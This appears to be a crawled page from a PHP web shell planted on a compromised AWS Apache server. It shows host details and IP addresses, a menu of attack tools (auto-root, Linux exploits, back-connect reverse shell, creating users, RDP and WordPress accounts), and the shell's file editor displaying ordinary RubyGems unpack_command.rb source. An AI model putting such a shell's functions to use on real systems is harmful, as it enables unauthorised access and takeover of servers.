Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.129.89.50
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
rubygems /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
build_command.rb
2.64
KB
-rw-r--r--
cert_command.rb
9.02
KB
-rw-r--r--
check_command.rb
2.23
KB
-rw-r--r--
cleanup_command.rb
4.49
KB
-rw-r--r--
contents_command.rb
4.05
KB
-rw-r--r--
dependency_command.rb
5.14
KB
-rw-r--r--
environment_command.rb
5.04
KB
-rw-r--r--
fetch_command.rb
1.77
KB
-rw-r--r--
generate_index_command.rb
2.91
KB
-rw-r--r--
help_command.rb
10.14
KB
-rw-r--r--
info_command.rb
715
B
-rw-r--r--
install_command.rb
7.42
KB
-rw-r--r--
list_command.rb
939
B
-rw-r--r--
lock_command.rb
2.69
KB
-rw-r--r--
mirror_command.rb
625
B
-rw-r--r--
open_command.rb
1.96
KB
-rw-r--r--
outdated_command.rb
853
B
-rw-r--r--
owner_command.rb
2.72
KB
-rw-r--r--
pristine_command.rb
5.38
KB
-rw-r--r--
push_command.rb
3.61
KB
-rw-r--r--
query_command.rb
9.33
KB
-rw-r--r--
rdoc_command.rb
2.47
KB
-rw-r--r--
search_command.rb
884
B
-rw-r--r--
server_command.rb
2.38
KB
-rw-r--r--
setup_command.rb
18.16
KB
-rw-r--r--
signin_command.rb
891
B
-rw-r--r--
signout_command.rb
896
B
-rw-r--r--
sources_command.rb
5.5
KB
-rw-r--r--
specification_command.rb
3.27
KB
-rw-r--r--
stale_command.rb
964
B
-rw-r--r--
uninstall_command.rb
5.64
KB
-rw-r--r--
unpack_command.rb
4.44
KB
-rw-r--r--
update_command.rb
7.06
KB
-rw-r--r--
which_command.rb
2.09
KB
-rw-r--r--
yank_command.rb
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : unpack_command.rb
# frozen_string_literal: true require 'rubygems/command' require 'rubygems/version_option' require 'rubygems/security_option' require 'rubygems/remote_fetcher' require 'rubygems/package' # forward-declare module Gem::Security # :nodoc: class Policy # :nodoc: end end class Gem::Commands::UnpackCommand < Gem::Command include Gem::VersionOption include Gem::SecurityOption def initialize require 'fileutils' super 'unpack', 'Unpack an installed gem to the current directory', :version => Gem::Requirement.default, :target => Dir.pwd add_option('--target=DIR', 'target directory for unpacking') do |value, options| options[:target] = value end add_option('--spec', 'unpack the gem specification') do |value, options| options[:spec] = true end add_security_option add_version_option end def arguments # :nodoc: "GEMNAME name of gem to unpack" end def defaults_str # :nodoc: "--version '#{Gem::Requirement.default}'" end def description <<-EOF The unpack command allows you to examine the contents of a gem or modify them to help diagnose a bug. You can add the contents of the unpacked gem to the load path using the RUBYLIB environment variable or -I: $ gem unpack my_gem Unpacked gem: '.../my_gem-1.0' [edit my_gem-1.0/lib/my_gem.rb] $ ruby -Imy_gem-1.0/lib -S other_program You can repackage an unpacked gem using the build command. See the build command help for an example. EOF end def usage # :nodoc: "#{program_name} GEMNAME" end #-- # TODO: allow, e.g., 'gem unpack rake-0.3.1'. Find a general solution for # this, so that it works for uninstall as well. (And check other commands # at the same time.) def execute security_policy = options[:security_policy] get_all_gem_names.each do |name| dependency = Gem::Dependency.new name, options[:version] path = get_path dependency unless path alert_error "Gem '#{name}' not installed nor fetchable." next end if @options[:spec] spec, metadata = Gem::Package.raw_spec(path, security_policy) if metadata.nil? alert_error "--spec is unsupported on '#{name}' (old format gem)" next end spec_file = File.basename spec.spec_file FileUtils.mkdir_p @options[:target] if @options[:target] destination = begin if @options[:target] File.join @options[:target], spec_file else spec_file end end File.open destination, 'w' do |io| io.write metadata end else basename = File.basename path, '.gem' target_dir = File.expand_path basename, options[:target] package = Gem::Package.new path, security_policy package.extract_files target_dir say "Unpacked gem: '#{target_dir}'" end end end ## # # Find cached filename in Gem.path. Returns nil if the file cannot be found. # #-- # TODO: see comments in get_path() about general service. def find_in_cache(filename) Gem.path.each do |path| this_path = File.join(path, "cache", filename) return this_path if File.exist? this_path end return nil end ## # Return the full path to the cached gem file matching the given # name and version requirement. Returns 'nil' if no match. # # Example: # # get_path 'rake', '> 0.4' # "/usr/lib/ruby/gems/1.8/cache/rake-0.4.2.gem" # get_path 'rake', '< 0.1' # nil # get_path 'rak' # nil (exact name required) #-- # TODO: This should be refactored so that it's a general service. I don't # think any of our existing classes are the right place though. Just maybe # 'Cache'? # # TODO: It just uses Gem.dir for now. What's an easy way to get the list of # source directories? def get_path(dependency) return dependency.name if dependency.name =~ /\.gem$/i specs = dependency.matching_specs selected = specs.max_by { |s| s.version } return Gem::RemoteFetcher.fetcher.download_to_cache(dependency) unless selected return unless dependency.name =~ /^#{selected.name}$/i # We expect to find (basename).gem in the 'cache' directory. Furthermore, # the name match must be exact (ignoring case). path = find_in_cache File.basename selected.cache_file return Gem::RemoteFetcher.fetcher.download_to_cache(dependency) unless path path end end
Close